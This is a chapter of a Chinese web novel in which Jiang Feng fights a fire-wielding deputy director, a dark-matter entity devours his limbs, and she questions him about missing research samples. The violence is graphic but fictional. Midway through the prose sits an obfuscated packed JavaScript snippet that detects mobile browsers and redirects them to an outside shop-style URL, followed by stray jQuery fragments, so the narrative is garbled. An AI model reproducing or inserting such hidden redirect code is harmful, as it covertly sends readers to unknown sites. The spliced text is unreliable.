37. 它很贵的

作品:《我给自己开了一份天价悬赏

    江风敏锐地捕捉到他那一瞬间的迟疑,眉头轻压,轻声:“嗯?”


    陈副局长再仔细看了看江风,又恢复成之前冷静的模样,显然是不打算继续开口。


    他重新打量了一遍江风,眉眼处有几分相似,但细看之下,那点模糊的相似就消散无踪了。


    陈副局长解开袖口,不紧不慢地整理着衬衫,随意地瞄了一眼周围,嘲讽道:“人造污染区,还挺舍得啊。就是不知道我挡了哪尊大佛的路?怕我得到人造人的支持,赢得大选?”


    江风没回答他的问题,在心里仔细计算着自己的胜率,语气随意地回道:“我不是为了你的狗屁理想来的。”


    “你……”陈副局长没想到她说话这么噎人,气的满脸涨红,“那你想要什么?”


    “创生科技。”江风简短地回了四个字。


    陈副局长的脸色瞬间变化,眼神怨毒地盯着她:“你在说什么,我听不懂。”


    江风活动着肩膀:“那就是得打一顿才能说喽?”


    最后一个字还没有完全落下,江风已经动了。


    陈副局长只觉得眼前一花,那女人就已经冲到了面前,一记直拳直奔他的面门。


    他瞳孔轻颤,到底在联邦摸爬滚打这么多年,还觉醒过异能,不至于被一个小丫头唬住。


    陈副局长下意识地偏头,拳头擦着他的耳朵过去,带起的拳风刮得脸生疼。他后撤一大步,嘴里骂道:“操!你他妈……”


    江风根本不给他骂完的机会,一拳落空,顺势变招,右鞭腿直奔着他的膝盖扫去。


    陈副局长躲闪不及,小腿结结实实地挨了一下,险些跪倒下去。他顺势后仰,右手猛地甩出。


    “呼——!”


    一团拳头大小的橘色火球凭空出现,朝着江风的胸口砸过来。


    这个距离太近,江风避无可避。这火球说大不大,说小也不小,但是挨一下子绝对不好受。


    江风憋了一口气,收紧核心,猛地上跳,一个前滚翻堪堪避过。


    火球几乎是擦着她的鼻尖过去的,滚烫的热浪烫的她皮肤发紧,额前的一小撮儿头发瞬间卷曲发焦。


    “手够黑的啊。”江风单膝跪地,低骂了一句。


    她话音未落,陈副局长第二团、第三团火球已经劈头盖脸地砸了过来。


    江风做左挪右闪,有些狼狈地躲藏着,肩膀和手臂上的衣服瞬间焦黑,皮肤上传来一阵阵针扎似的刺痛。


    “刺杀之前也没打听一下我的信息?”陈副局长见压制住了江风,态度也不如刚才那般谨小慎微,两只手一起用力,努力把火球团的更大一些,“也好,解决了你再出去也不迟。”


    陈副局长这么说着,眼睛却不自觉地瞥向通讯器上的时间,不知道为什么,他总觉得被江风盯着后背发凉,还是寄希望于保镖能快点发现异样,来救他。


    江风退无可退,摸了一把烫红的皮肤,咬紧了牙齿,鼻翼快速煽动,转回头瞪着陈副局长:“你知不知道……”


    陈副局长不自觉地吞咽了一下,只觉得此刻的江风好像要吃人:“什么?”


    “你知不知道这衣服我一会儿要还的,弄坏了要赔很多钱!”


    江风吼完这句话,不管不顾地冲了出去。暗物质从她的手心里析出,缓缓张开,覆盖在她身上。冰冷湿冷的触感,正好替她抵挡着热浪。


    陈副局长的表情僵住,狠劲眨了几下眼睛,一边躲着江风的攻击,一边去看她身上的鬼东西,那是什么?


    有了暗物质的阻挡,江风更没了顾忌,拳拳到肉,紧贴着陈局长打,每一拳都避开了要害,却又实实在在地疼。


    陈副局长只觉得眼前的人快出了残影,还没等抬手反抗,这一拳就已经挨完了。


    痛!痛!痛!


    陈副局长手里的火球越来越小,越来越乱,全凭感觉四下砸着。他的呼吸渐渐混乱,身体也因为异能的消耗而感到滞涩。


    江风的体力也到了极限,强撑着继续攻击,这一拳那一脚,不为别的,纯为了泄气。


    “等……等一下。”陈副局长弯腰支着膝盖,大口喘着粗气,张嘴叫停。


    江风依言停了下来,也默默调整着自己的呼吸。她能感觉到体内的暗物质忍不住想要跑出来凑热闹。


    “我们商量一下行不行?”陈副局长想办法拖延着时间。


    江风恍惚好像听见安妮在和她说话。


    “姐姐,我也想玩。”


    “姐姐,让我试试吧,我很乖的。”


    “姐姐……”


    江风有些痛苦地皱了下眉毛,烦躁地甩了甩头。陈副局长见状赶紧在身后搓了个火球,直奔她的心口砸来。


    火球即将挨到江风的瞬间,被她体内暗物质凝成的黑色触手稳稳接住。


    兹拉兹拉的声音在此刻听起来格外瘆人。


    陈副局长觉得自己的喉咙被人扼住了,此刻他已经确定了,眼前的人能和暗物质共存!


    那团火球在暗物质的侵蚀下渐渐没了声息,黑黢黢的一团像是燃到一半的煤渣,轻轻一用力,就碎了。


    陈副局长看着那火球的残渣,莫名觉着那就是自己的下场,他想逃,可两条腿却像是灌了铅一样。


    此刻江风才缓缓抬头,她的右半张脸覆满了黑色纹路,看起来像半张鬼脸。


    “打完了?现在到我了。”江风的声音听起来尖细了一些。


    陈副局长的惊呼甚至还没有喊出来,就被黑色触手缠住了口鼻。


    江风胸前伸出几根触手,缠上陈副局长的四肢,把他整个人举了起来。


    “呜……呜呜。”陈副局长不停地扭动,被触手接触的地方一阵阵火辣辣的疼。


    “嘘,再吵姐姐该不让我玩了。”这话是从江风嘴里说出来的,可听起来却像是安妮的语气。


    她说完这句话,嘴角高高咧起,眼睛却是一眨不眨地盯着陈副局长,控制着暗物质触手去吞噬面前男人的皮肉。


    陈副局长只觉得自己的四肢又痒又痛,像是被无数只小虫同时啃噬一样,先是皮肤,再是血肉,最后是骨头。看着它们一点一点消失。被吞噬的细碎声响听着像是水珠滴在烧红的铁锅上,尖啸几声后便无影无踪。


    “江风”甚至恶趣味地松开了缠住陈副局长口鼻的触手,听着他的惨叫,露出了一丝残忍的天真笑容。


    “啊——!”


    她的力度控制的刚刚好,只是把陈副局长的小臂和小腿吞噬掉了。


    咚的一声,陈副局长掉落在地上,鲜血顺着伤口向外涌。他撑着残肢勉强坐起来,脸上眼泪鼻涕糊做一团,眼球充血,死死地盯着江风,恨不得天上降道雷把她劈死。


    而江风很明显的能感觉到有其他人在控制着她的身体,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011533|191554||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她的脑袋一阵阵钝痛,感觉暗物质像一条条菌丝,牵制着她的身体各个关节。


    “姐姐,真好玩,我还想吓唬吓唬她。”


    “滚回去。”


    “不要嘛姐姐,我平时很乖的,在这也不能出来玩吗?”


    “滚啊!”


    陈副局长就看着江风像是人格分裂一样自言自语,身下不受控制地流出黄汤。他扭动着残缺的肢体,企图去拿通讯器联系保安救他。


    就在他即将触碰到通讯器的瞬间,一只脚直直地踏了上去,咔嚓一声,通讯器连同陈副局长最后的那点希望一起碎成了几瓣儿。


    江风半弯着身子看他,眼神里已经恢复了清明,脸上的黑色纹路也退下去不少。她咧了咧嘴角,好像讨人命的无常:“别急啊,局长,我还有话没问呢。”


    陈副局长趴在地上忍不住地哭了起来,哭着哭着又开始大笑起来。


    “哈哈哈哈哈啊!哈哈哈……”


    江风单手扶住额头揉揉发涨的太阳穴,好不容易把“安妮”收回体内,此刻只觉得这声音吵得她想杀人,强压着怒气吼了一嗓子:“别笑了!”


    “哈哈咳咳咳……”


    陈副局长终于笑累了,在血污之间翻过身子,仰躺在地上,认命般地长叹一声:“问吧,我知道你是从哪来的了。”


    江风压下心底的疑惑,抽出绑在腰上的录音机,按亮后怼到他的嘴边:“现在,可以说一下创生科技的数据和样本转移到哪去了吗?”


    陈副局长半睁着眼睛,听到问话后也只是眨了眨眼睛,似乎是在回忆当时的场景。


    “三年前,实验室爆炸,为了转移视线,所有的样本和数据要被临时转移,”他闭上眼睛,声音因为疼痛而稍稍走音,“具体情形我也不大清楚,只听说押送小队在墙外遭到了大规模暗物质感染,几十个污染区叠在一起。”


    “等救援队去的时候死的差不多了,剩下的样本和数据转移到了217防御基地。”


    江风把录音机凑得更近了一些:“217基地的哪里,给我一个具体的位置和接收人。”


    陈副局长突然睁开眼睛,怨毒地看着她。


    江风见他还不服气,反手就要抽他。


    陈副局长歪头一躲,没想到江风要追问的这么细,只好不情愿地开口:“一个实验室,不过现在应该找不到。是伊甸财团把人扣下了,后来转移到哪里我也不清楚。”


    江风听到财团两个字眉心一跳,这个伊甸财团到底是些什么人啊。


    见问的消息差不多,她关掉录音笔,直起腰,俯视着他。


    江风的声音冷了下去:“你知道我从哪来的?”


    陈副局长像是看傻子一样看着江风,不屑地嗤笑:“废话,除了你们还有谁会对这种变态的实验感兴趣,墙外那次大规模的感染不就是你们想出来的劫持样本的计划了。”


    “真是一群蠢驴啊,这都没找到,隔了这么久又来找样本,蠢货……”陈副局长忍不住将心里的怨恨骂出来,马上大选了,他不甘心自己就这样死在了污染区里。


    江风冷眼看着脚下的人,她能感受到暗物质正在一点点向着他汇集,他正在被感染。


    “我们是谁?”


    “废话,”陈副局长眼球凸出来一些,整个人正在开始异化,他突然坐起,愤愤地开口:“还不是你们渡鸦这群疯子!”